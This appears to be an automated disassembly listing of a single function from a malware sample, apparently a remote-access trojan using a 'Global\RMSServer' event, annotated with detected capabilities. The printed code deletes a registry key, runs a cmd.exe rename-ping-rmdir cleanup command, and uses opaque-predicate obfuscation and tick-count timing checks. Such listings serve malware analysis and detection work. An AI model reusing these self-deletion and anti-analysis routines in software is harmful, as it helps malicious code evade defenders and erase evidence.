Function at 0x1000fc48
Capabilities:
Check for time delay via gettickcount
Delete registry key

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xc
mov esi, dword [ebp + 8]
cmp dword [0x1002d238], 0xa
jl 0x1000fc6d
mov eax, dword [0x1002d23c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000fc9f
push eax
sub esp, 0x208
mov edi, esp
push str.SOFTWAREUsorisBackup
push 0x80000001
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
cmp dword [0x1002d238], 0xa
jl 0x1000fcb1
mov eax, dword [0x1002d23c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000fcb1
push str.SOFTWAREUsorisBackup
push 0x80000001
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
jmp 0x1000fc6d
or esi, dword [0x1002cd48]
je 0x1000fd07
call fcn.10016f0a
cmp dword [0x1002d238], 0xa
jl 0x1000fd07
mov eax, dword [0x1002d23c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000fd07
lea ecx, [eax + 1]
imul ecx, eax
test cl, 1
jne 0x1000fd00
call fcn.10016f0a
cmp dword [0x1002d238], 0xa
jl 0x1000fcb9
mov eax, dword [0x1002d23c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000fcb9
call fcn.10016f0a
jmp 0x1000fce2
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x800
push 8
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x1000fe35
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp dword [0x1002d238], 0xa
jl 0x1000fd6a
mov ecx, dword [0x1002d23c]
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
je 0x1000fd6a
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
call ebx
call ebx
cmp dword [0x1002d238], 0xa
jl 0x1000fd6a
mov ecx, dword [0x1002d23c]
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
jne 0x1000fd4c
mov dword [ebp - 0x18], edi
lea ecx, [ebp - 0x14]
mov dword [ecx], eax
mov eax, dword [sym.imp.NTDLL.dll_RtlRandom]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
xor edi, edi
mov ebx, dword [ebp - 0x10]
push ecx
call eax
mov ecx, dword [0x1002cd58]
push ecx
push 0xa
push eax
push ecx
push str._c_ren___s.__.._lu.bak__ping_1.1.1.1__n__u__rmdir___s___q__s
push ebx
call esi
add esp, 0x18
push edi
push edi
push edi
push ebx
push str.cmd.exe
push edi
call fcn.10008a61
add esp, 0x18
mov eax, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
call eax
push ebx
push edi
push eax
mov eax, dword [sym.imp.KERNEL32.dll_HeapFree]
call eax
cmp dword [0x1002d238], 0xa
jl 0x1000fe32
mov eax, dword [0x1002d23c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000fe32
lea eax, [ebp - 0x14]
push eax
mov edi, dword [sym.imp.NTDLL.dll_RtlRandom]
call edi
mov ecx, dword [0x1002cd58]
push ecx
push 0xa
push eax
push ecx
push str._c_ren___s.__.._lu.bak__ping_1.1.1.1__n__u__rmdir___s___q__s
mov ebx, dword [ebp - 0x10]
push ebx
xor edi, edi
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
call esi
add esp, 0x18
push edi
push edi
push edi
push ebx
push str.cmd.exe
push edi
call fcn.10008a61
add esp, 0x18
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push ebx
push edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [sym.imp.NTDLL.dll_RtlRandom]
lea ecx, [ebp - 0x14]
jmp 0x1000fd82
mov edi, dword [ebp - 0x18]
push 0x4b
push str.GlobalRMSServer
push 0x100275ac
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
cmp dword [0x1002d238], 0xa
jl 0x1000feae
mov eax, dword [0x1002d23c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000feae
mov ebx, str.GlobalRMSServer
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
mov eax, 0x4b
push eax
push ebx
mov eax, 0x100275ac
push eax
push edi
call esi
add esp, 0x10
mov eax, 0x4b
push eax
push ebx
mov eax, 0x100275ac
push eax
push edi
call esi
add esp, 0x10
cmp dword [0x1002d238], 0xa
jl 0x1000feae
mov eax, dword [0x1002d23c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000fe6f
push edi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov esi, eax
cmp dword [0x1002d238], 0xa
jl 0x1000ff30
mov eax, dword [0x1002d23c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000ff30
mov ebx, dword [sym.imp.KERNEL32.dll_OpenEventW]
lea ecx, [eax + 1]
imul ecx, eax
test cl, 1
jne 0x1000ff05
push edi
push 0
push 2
call ebx
cmp dword [0x1002d238], 0xa
jl 0x1000ff0e
mov eax, dword [0x1002d23c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000ff0e
push edi
push 0
push 2
call ebx
jmp 0x1000fee5
push edi
push 0
push 2
call ebx
mov esi, eax
cmp dword [0x1002d238], 0xa
jl 0x1000ff30
mov eax, dword [0x1002d23c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000feda
test esi, esi
je 0x1000ffc2
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
cmp dword [0x1002d238], 0xa
jl 0x1000ff7d
mov eax, dword [0x1002d23c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000ff7d
mov edi, dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call edi
push esi
call edi
cmp dword [0x1002d238], 0xa
jl 0x1000ff7d
mov eax, dword [0x1002d23c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000ff5e
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x1002d238], 0xa
jl 0x1000ffc2
mov eax, dword [0x1002d23c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000ffc2
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call edi
push esi
call edi
cmp dword [0x1002d238], 0xa
jl 0x1000ffc2
mov eax, dword [0x1002d23c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000ffa3
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret